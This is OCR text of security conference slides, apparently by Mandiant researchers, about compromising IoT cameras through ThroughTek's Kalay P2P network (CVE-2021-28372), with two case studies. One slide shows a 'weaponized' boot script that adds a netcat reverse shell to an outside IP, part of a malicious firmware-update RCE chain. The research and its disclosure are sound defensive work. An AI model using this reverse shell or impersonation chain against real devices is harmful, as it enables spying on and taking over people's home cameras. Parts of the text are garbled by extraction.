(tANDIANT

Careful Who You Trust

Compromising P2P Cameras at Scale

Jake Valletta

Director

Erik Barzdukas
Manager
Dillon Franke

Consultant



Erik Barzdukas

A10+ years offensive security AFocuses/Interests:
AFocuses/Interests: | ¢ Mobile Platforms
¢ Mobile Security - } : ¢ Embedded Devices
¢ Embedded/loT = ¢ GhidraTime
¢ Reverse EngineF ,lrL_g
i G Network Protocol Analysis

= |

{ 1 |
B ' il a
‘,;‘ : " oEs - !
\ | :

b\

Dillon Franke

Al YRSNEN) Rkal aisS
University

AFocuses/Interests:
¢ Application Security
¢ Static Code Analysis

¢ Reverse Engineering
¢ Red Teaming




Agenda

A Initial loT Camera Research

A KalayP2P Network

A Attacking thekalayNetwork:CVE2021-28372
A Device Compromise Case Studies

A Conclusions



Initial Research

A Research started in Fall 2020

A General interest in smart cameras

¢ Purchased 10+ unique camera models to practice/teach embedded
security

¢b2 AaLISOATAO 202S00A@GSa 20KSNJI
A Common themes:

¢ Embedded hardware testing

¢ Mobile applications

¢ Reverse engineering

¢ Web APIs
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Multi-Pronged Approach

Mobile Application Analysis Device Analysis
A Download app from app store(s) A Physical attacks & debug interfaces
A Configure smart camera as a normal user ¢ UART/JTAG/chipf
would A Analyze network traffic
A Find firmware Images and analyze with IDA
Static analysis: Pro/Ghidra

A apktool /baksmali /IDA Pro
A GoalsFocus on getting local shell, apply

persistence, add additional tools

Dynamlc anaIySIS: C gdb, tcpdump, busybox, frida

A rooted/Jailbroken devices
A Proxy network traffic
A frida !



Looking Ahead; The Results

Embedded Devices: Mobile Apps:

A Active UART pins with access td Incomplete/nonexistent

bootloader (usually Das®Bbot)

and OS (usually Linux) A Lack of platform
A Nonencrypted data partitions on attestation/jailoreak detection
eMMC + NAND flash A Easier to reverse libraries and
A Default (or widely known) code
credentials A Malwareesquepackers +
A Everything runs asot obfuscation

A Non-encrypted or signed
firmware images allow research
without purchasing devices

A Shared coddase between
vendors

certificate pinning

Web APIs:

A Unauthenticated endpoints

A Appalling error handling

A Input handling and sanitization
A Username enumeration

A Weak password policies

A Lack of rate limiting

A Public Swagger docs

A HTTP (1) + custom AES encrypti



First Unique Finding? KI 0 Q&

A Early network analysis of a particular
device was unusual

¢ Zero TCP traffic during an audio/video stream (all
UDP)

¢ Nonstandard ports

¢ Binary (norASCII) looking data

¢ Not high entropy

¢ Patterrs in packet data and packet sizes
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4.0831855 192. 17
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9.051433 192. 14
9.051796 192. 17
18.284517 192. 19
18.671424 192. 19
1@.672161 192

18.672838

10.900616

10.900692 142, 19
10.900712 192. 19
14.100808 192. 15
14.101282 192, 14
14.181641 192, 17
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Frame 13: 338 bytes on wire (2648 bits),
Ethernet II, Src: Shenzhen_93:5f:ff (
Internet Protocol Version 4, 192,
User Datagram Protecol, Src Port: 43548,
Data (288 bytes)

2@ 8B a2 @b fa 41 74 ee 2a 93 5f ff

91 3c 92 @0 49 @0 42 11 93 68 cd a8
37 12 aa 14 27 11 81 28 97 ea 3e 2f

upp 46 6 43548 - 18801 Len=
uppP 46 7 43548 - 18801 Len=4
upp 46 8 43548 - 12801 Len=4
upp 46 9 43548 - 18001 Len=4
upp 86 18 57621 -+ 57621 Len=44
uppP 338 11 43548 - 18881 Len=288
UppP 330 12 43548 - 190981 Len=288

- 43540 Len=288
upp 330 16 19881 - 43549 Len=288
upp 46 17 43548 - 12881 Len=4
upp 46 18 43548 - 10001 Len=4
upp 46 19 43548 - 10881 Len=4
upp 46
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Enter: TheKalayNetwork

A Developed bffhroughTek 2 @3 [ GR® 604 ¢! ¢YE U
A Taiwaneseased software company
A A platform for manufactures/OEMSs to enable remote connectivity of smart devices

¢ Over 83 Million registered devices and 1.1 billion monthly connections

¢ Implemented as an SDK
C9lF OK RSQOAOS aaA3dySR | dzyAljdzS ARSYUGAFASNI 0d! L5£0

T Utk

ThroughTek Co., Ltd.




On The Wire

A UDPbased communication ATVRRAGAZ2YIE fF8SNJ2F &€
¢ Canuse TCP in some cases ¢ Versions 3.1.10+ ¢falaySDK
¢ Wraps AV layer in Datagram Transport Layer Security sessic
in PSK mode

A Various encodings on binary data
¢ Bit shifting, byte swapping, XOR

Frame 51: 94 bytes on wire (752 bits), 94 bytes captured (752 bits)

Ethernet II, Src: Apple ‘== (6Cc:72:e7:H0 M W), Dst: Shenzhen_ ™" ™ (T4:ee:2a:™g -

Internet Protocol Version 4, Src: 18.56.15.62, Dst: 1€.56.15.66

User Datagram Protocol, Src Port: 62796, Dst Port: 45896

Data (52 bytes)
Data: Ge6cbded4@df4Bch3d23482d00eecadad?268d8cBcT0d@cacdad28fcdlebeacabe?eBdac...

[Length: 52]
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TalkikKalay

Captured hundreds of MB BalayPCAP data

Created a Python implementation of the
Kalayprotocol pytutk )

Used in conjunction withcapy to do:
¢ Transparent encoding/decoding of raw messages

¢ ObjectOriented approach to constructing and
analyzingKalaymessages

¢ [Easy to use API to establish connections

Allowed us to send messages that looked like
any node in the network (but mostly Clients
and Devices)

¢ Let the fun begin!

def do_lan_discovery(interface, uuid):

conn = I0OTCConnection(interface=interface)

msg@601 = I0TCMessageB601.new()
msg@601.header.body_size = 72

msg@601.body.uuid = uuid

msg0601.body.lotc_version = 0x03010a0b
msg0601.body.client _random_1i en_client_random()
msgB601.body.partial_mac_addr = Gxabababab
msg@601.body.connection_flag = 1

print "Broadcasting hello...
CONN.raw_ Send _br(msg0661)

resp = conn.raw_read()
print "Re % (resp.remote_ip, resp.remote port)

print rcsp iotc_p.body.device name
print s" % parse_version(resp.iotc_p.body.device version)

print Re x" % resp iotc_p.body.result

return
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KalayNetwork Topology

analyst@A12310-DEV: /repos/tutk/test/pytutk

A Masters:Direct Clients and Devices to the
appropriate Server

A ServersConnect Clients and Device and
optionally relay traffic as needed

A DevicesSmart Camera, DVR, Doorbell

A Clients:Mobile/Desktop Apps

11



KalayConnection Modes

A Network mode selected automatically based Ogmmmesn
network topology / considerations Raw Size: 88

Header:

¢ NAT type (Symmetric versus Restricted/PR) Flag2: ox2
Version: @x17
Session Frame Wumber: @
Message Type: 0x0601

Body Size: 72
A Three Modes are Supported Flag: 6x21

¢ P2P:Device + Client able to communicate directly (across EE“‘F ‘i‘e‘i‘rgwg ID: ©Ox0
anne H

network boundaries) Use AES: 6
¢ RLYDevice + Client require a relay to establish connectio i N . . ] . .
tric NAT scenarios) Descriptor: Client-=Device UUID LAN Discovery Request (Version 4)
(e.g. symme UUID Registered: DI % 111A
. ; : I0TC Version: 3.1.10.11
+
¢ LAN:Device + Client are on same network Client Random ID: Bx0288e136

Partial MAC Addr: OxccB8aBG1ct

Connection Flag: 1

A UID used by Client to establish connection wit RS

. I0OTC Port: @
Device Auth Key: 9x00000000

¢ AuthKey(if enabled) also required to establish connection with a
Device

12



Authentication Layer

Flag2: 0xa
Version: 0x17
Session Frame Number: @

A Built in authentication layer for sensitive dody size: 582
funCtionality (AV/IOCTRL) ;l?gy gggion ID: Oxe130

Channel ID: ©

C Most devices used devigpecific username/password f e AES: O
ody:
c 5 }\ '.F '.F S N\B y‘ l] O NB |VQ S )/‘ lj }\ | f é l] K | )/' | dZé Descriptor: Client-=Device (LAN/PZP) AV Message (Version 1)
Client Random ID: 0x0200e138
Partial MAC Addr: ©xccB8aBilce
Encapsulated (AVPacket):
. . . . Packet Header (AVPacketHeader):
A Multiple layers exist after connection is AV Type: Oxs
. pcode: 0x
eStab“Shed Version: Oxa
Frame No: ©
| » S & S S Frame Size: 0
C' dZR}\Z 17\ RS2 oOa:l teuU Packet No in Frame: @
¢ RPC Interface (known as IOCTRL) Frane Info Size: ©

Payload: 546
[ Reservel: 0x0001
¢ Protocol Tunneling (not used frequently) eservel: 0x

Serial No: 0x633ebB87
. Body (AVMessagelogin):
¢ RealTime Data Transfer (not used frequently) tor: A

Descriptor: AV Login Message
Username: admin
Password: 10c5461eb52c4053b720af7882bchc3
Offset_514: Ox00000001
Supported OpCodes:

Ox00000004

oxee1fe7fb

Ox00000000

Ox00000000

Ox00030000
Offset_538: Ox00000000
Offset 542: 0x00000001




Parsing Audio / Video

analyst@A12310-DEV: frepos/tutk/test/pytutk




Device Registration Flow

Kalay
Network

G

Registration Server

Mobile Application Smart Camera

(Remote Network 1) (Home Network)
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Device Registration Flow

Registration Server

Mobile Application
(Remote Network 1)

Kalay
Network

2

Smart Camera
(Home Network)
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Device Registration Flow

2. Camerais
registered on the
Kalay network

4_

Registration Server

Mobile Application
(Remote Network 1)

Kalay
Network

Smart Camera
(Home Network)
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Device Registration Flow

Kalay
2. Camera is Network
registered on the
Kalay network

4_

Mobile Application
(Remote Network 1)

Smart Camera
(Home Network)
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Device Registration Flow

Kalay
2. Camera is Network
registered on the
Kalay network

—

Mobile Application
(Remote Network 1)

Smart Camera
(Home Network)
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Device Registration Flow

Kalay
2. Camera is Network
registered on the
Kalay network

4t— A

5. Audio/video data
flows from the
camera to the user

Mobile Application Smart Camera
(Remote Network 1) (Home Network)
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Revisiting Device Registration Flow

- Kalay

A2KFEGiQa Ay I RSOAOS NBIAAEUIN (e CroXeSuma | ISK
¢ Kalay UID — T ( 3: >,ﬁ+

¢ Metadata (MAC address, versions) Registration Server
¢ Timestamps

5. Audio/video data
flows from the

¢ Serial numbers

'5'0:@% camera to the user
A What matters in a device registration message? D
C Kalay U I D Mobile Application Smart Camera
(Remote Network 1) (Home Network)

21



CVE2021-28372: Device Impersonation

AlvyeazysS K2 1y26a I RSOGAOSQa 'L5 OFy
register that device on the Kalay network
C An attacker could compromise up to 83 million IoT came
A Published jointly with U.S. Cybersecurity I I 1t
RV A el édzMandlant. IE)lscIoses.Crltha'I
A TUTK shared recommendations on their VU|nerabI|Ity AffECtlng Millions

website

¢ Update the TUTK library version Of IOT DeViceS

¢! aButhikey YR a5¢[ {¢ FSI (dzNF
JAKE VALLETTA, ERIK BARZDUKAS, DILLON FRANKE

THREAT RESEARCH

AUG 17, 2021 | 7 MINS READ

https://www.mandiant.com/resources/mandiadisclosesriticalvulnerabilityaffectingiot-devices
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CVE2021-28372: Device Impersonation

Registration Server

Mobile Application
(Remote Network 1)

Kalay
Network

ap

—

Attacker Device
(Remote Network 2)
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CVE2021-28372: Device Impersonation

Registration Server

Mobile Application
(Remote Network 1)

Kalay
Network

G

1. Attacker
spoofs request to
register victim’s
camera on the

Kalay network
using its UID

Attacker Device
(Remote Network 2)
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CVE2021-28372: Device Impersonation

Mobile Application
(Remote Network 1)

Kalay

2. Attacker is Network
registered on t

he
| Kalay network }

Registration Server

1. Attacker
spoofs request to
register victim’s
camera on the

Kalay network
using its UID

Attacker Device
(Remote Network 2)
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CVE2021-28372: Device Impersonation

Mobile Application
(Remote Network 1)

Kalay
2. Attacker is Network

registered on the
| Kalay network }

N
1. Attacker
spoofs request to
register victim’s
camera on the

Kalay network
using its UID

Attacker Device
(Remote Network 2)
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CVE2021-28372: Device Impersonation

Mobile Application
(Remote Network 1)

Kalay

2. Attacker is Network
registered on t

he
| Kalay network }

Registration Server

1. Attacker
spoofs request to
register victim’s
camera on the
Kalay network
using its UID

Attacker Device
(Remote Network 2)

4. ThroughTek
initiates a
connection with the
attacker. The
attacker receives
device credentials

27



A \\

2 K 1Qa bSEGK

A CVE2021-28372 allows us to obtain credentials needed to talk to remote
devices (bad)

¢ Implicit compromise of audio / video data (very bad)
¢ Unauthorized use dOCTRIayer (maybe bad)

X.dzi 6KFG AF 6S F2dzyR 0dz3& Ay &4LISOATFTAO
triggered by IOCTRL?

28



Case Study #1
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Case Study #Xardware & Physical Recon

APopuIarconsumer loCamera
A Low cost, targetetbr home use

~ XMC NOR Flash

A Recon

C Exposed USB
¢ SD card

A Device deconstruction
C Searchihfor serial (UART)
A Mapping out components



Case Study #IMobile App & Firmware Analysis

A Downloaded and reverse engineered mobile application
A Looked for API calls to download camera firmware images

¢ Unsigned firmware images!

Request

Pretty Iill Hex \n =

1 GET Smegan mammre’  W.2.tar HTTP/1.1

Host: % ==wwm mSaesm— , COM

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

3 Upgrade-Insecure-Requests: 1

ONOOOVBEBWN

)

y |

Response

Pretty BRSO Hex Render \n =

1
2
3
4
o

>

6

7
8
9
10
11
12

13
14
15
16

HITP/1.1 200 OK

Date: Sun, 11 Oct 2020 21:19:42 GMT

Content-Type: application/x-tar

Content-Length: 4720640

Connection: close

Set-Cookie: __cfduid=def9ca5ds8187c05fba732301d39904b01602451181; expires=Tue,
10-Nov-20 21:19:41 GMT; path=/; domain= BOS Bm; HttpOnly; SameSite=lLax;
Secure

last-modified: Sun, 11 Oct 2020 21:19:42 GMT

etag: b7c18fb9242837dc8045¢3531cb59255

Via: 1.1 google

CF-Cache-Status: DYNAMIC

cf-request-1d: 0Sbb21a969000092b6f a07f 200000001

Expect-CT: max-age=604800,
report-uri="https://report-uri.cloudflare.com/cdn-cqgi1/beacon/expect-ct*
Server: cloudflare

CF-RAY: SeOb9eef0a6492b6-S)C

AACVOI CE/00007550001 7500001 7500000000000013710503361010665 Remiln

L B IR P, Rl 1522 00007440001 7500001 750000000041 2313652026600013720
s wemeen pil@uPlibfaac

1.28GyALELGE#YAL @ UERFYALERUSYU241:®) “oxp2xN® SumB<6cIPEYCUL 20RIX00>A%21 | - XHO+EDI2E

& &znR , , SU<1NORa: toAPsyAlad E/y Ofye|As8yil@?uyE4lERAIfgA~n>y18

UflY 332} yGI 2EQT » Ra3zy+
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Case Study #WNobile App & Firmware Analysis Cont.

AGhidraIime/searching fosystem()

¢ Focus on input we can control

A Consumer 10T devices tend to be "bash scripts in C"

A String analysis ﬁooomeec - (daemon)

i | 1|
A Execution from SD Card' 2 |undefined4 FUN_0000ceec(void)
3
A UnsafelyunTARedo local storage Iy
i Out of datebusyboxar 0| intart
A Persistence’) 7 iVarl = FUN_000098bc("/mnt/sd_card/update/fireware/update.sh");
) 8| if (ivarl == 0) {
C App boot processes captured in Bash scripts 9 system("chmod 777 /mnt/sd_card/update/fireware/ -R")
10 1s ("NOW READY TO UPDATE FORM SD CARD");:
A /mnt/mtd/boot.sh 11 Isystem("/mnt/sd_card/update/fireware/update.sh")
12 +
13| else {
14 puts("NO SD CARD UPDATE FILE ... GOGOGOGOGOGGOGOGOGGOG");
15 }
16 return 9;
17 |}
18

©2021 Mandiant >



Case Study #1: Understanding Remote Kalay Functionality

A lterative process A10CTRL functionality of note:
C Root device C Control LED light
C ldentify interesting functionality C Control A/V flow
C Capture traffic C Get/set device parameters

G Analyze traffic C Remote firmware updates

C Analyze firmware
C Write parser

?f ( msg_number == @x6BASE ) <= KalaylOTypeor Firmware Update
comM_sysLoG(4, "emd:[¥#x] [TUTK] [ _OTA REMOTE_UPGRADE_REQ] SID[%d]\n", @x6@@8E, result);

Tk _ota_remote upgrade req_handle(a2, (char ”jai31.__................
¥
else if ( msg number == Bx60@898 ) Ka|ay|OTypd:)ay|oad

{

comm_sysLoa(4, "cmd:[%#x] [TUTK] [ _OTA_UPGRADE_PROGRESS REQ] SID[%d]\n", 8x68898, result);
Tk_ota_remote_upgrade_progress_req_handle(az, a3);

}

33



Case Study #1: RCEhaining it All Together

[firmware) tail boot.sh

A Create malicious firmware update package an
host in Cloud

Device impersonation (CA2B21-28372) to steal

credentials export OPENSSL_CONF=/mnt/mtd/openssl.cnf

.. _ o B #ulimit —-s 10240
Initiate connection to victim camera and initiate ./hisi check format.sh

firmware update to overwrit@oot.sh sleep 1

./socket_system_server &
I — —
Reverse shell! - faoni_ipe &

./daemon &

Do Io  I»

[firmware) tall boot-weaponized.sh

export OPENSSL_CONF=/mnt/mtd/openssl.cnf
#ulimit -s 10240

./hisi_check_format.sh

sleep 1

./socket_system_server &

.faoni_ipc &

./daemon &

sleep 12

nc 143.110.224.168 9435 -e /bin/sh &

34



Malicious Firmware Update Remote Code Execution




Remediation

A Mandiant worked closely with vendor to remediate:
C Addition ofAuthKeyfeature
C Digitally signing firmware images
C Removed SD Card execution
C Protecting UART connection

36



Case Study #2
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Case Study #2:. Custom Authentication Layer

A Uses a custom authentication ovet f IOETRE layer
C Does not rely oKalayusername/password authardcoded credentials used
C Uses a challenge/response format with custom encryption

A Mobile app #rida to understand data packet formats
C Devicecode is MIPS and not as easy to analyze

38



Case Study #2: Custom Authentication

Kalay
Network

aw

Smart Camera
(Home Network)

Mobile Application
(Remote Network 1)

J

Camera API
Server
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Case Study #2: Custom Authentication

Kalay
Network

Mobile Application
(Remote Network 1)

egistration

e BCCOUNt-specifi, shared ,nggte Lae;eﬁuesm A
O —p EEEED
]
(=" R
[ ]
Smart Camera Camera API

(Home Network) Server
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Kalay
Network

Mobile Application

(Remote Network 1)

Case Study #2: Custom Authentication
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Camerg requests

;r-] During device registration
account~speciﬁc, shared 'secret key, k

Smart Camera
(Home Network)

Camera API
Server
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Kalay
k .
Networ Mobile Application
(Remote Network 1)

Case Study #2: Custom Authentication

3. Mobile app creates Kalay Connection with
authentication process

Camera, startg Custom

x
&
s
g
o
(%]
I
Q
Q
T
2
S
=
&

gistration, Camera requests

1. During device re
an account~speciﬁc, shared secret key, k I

[ — Camera AP
Server

(Home Network)
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Case Study #2: Custom Authentication

Kalay
Network

Mobile Application
(Remote Network 1)

1. Durin i
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an account istration,

_ i camera
Specific, shared g réquests
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Case Study #2: Custom Authentication

Mobile Application

Kalay
(Remote Network 1)

Network
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Case Study #2: Sounds Secure?

A Custom auth protocol is effective at validating that the Client is a trusted
O2YYSOuUA2Z2YX
A Howeverjt assumes that devices cannot be impersonated
C Our friend CVE2021-28372 strikes again!
A Attack is very similar to general GR21-28372 exploitation with one key
difference:

C Attacker needs to somehow leak the secret from either the Client or Device or demonstrate the ability to
decrypt/encrypt a challenge
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Case Study #2: Breaking Custom Authentication

Kalay
Network

Mobile Application
(Remote Network 1)

Attacker Device
(Remote Network 2)

Smart Camera Camera API
(Home Network) Server



Case Study #2: Breaking Custom Authentication

L

Attacker Device
(Remote Network 2)

Kalay
Network

Mobile Application
(Remote Network 1)

1. Dur.ing device regj
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(Home Network) Server

a7



Case Study #2: Breaking Custom Authentication

L

Attacker Device
(Remote Network 2)

Kalay
Network
Mobile Application
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Case Study #2: Breaking Custom Authentication

Attacker Device
(Remote Network 2)
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Case Study #2: Breaking Custom Authentication

Kalay
Network

Mobile Application
(Remote Network 1)

Attacker Device
(Remote Network 2)
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Smart Camera Camera API
(Home Network) Server
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Case Study #2: Breaking Custom Authentication

Kalay
Network

Mobile Application
(Remote Network 1)

Attacker Device
(Remote Network 2)

A
[ ]
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Smart Camera Camera API

(Home Network) Server
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Case Study #2: Breaking Custom Authentication
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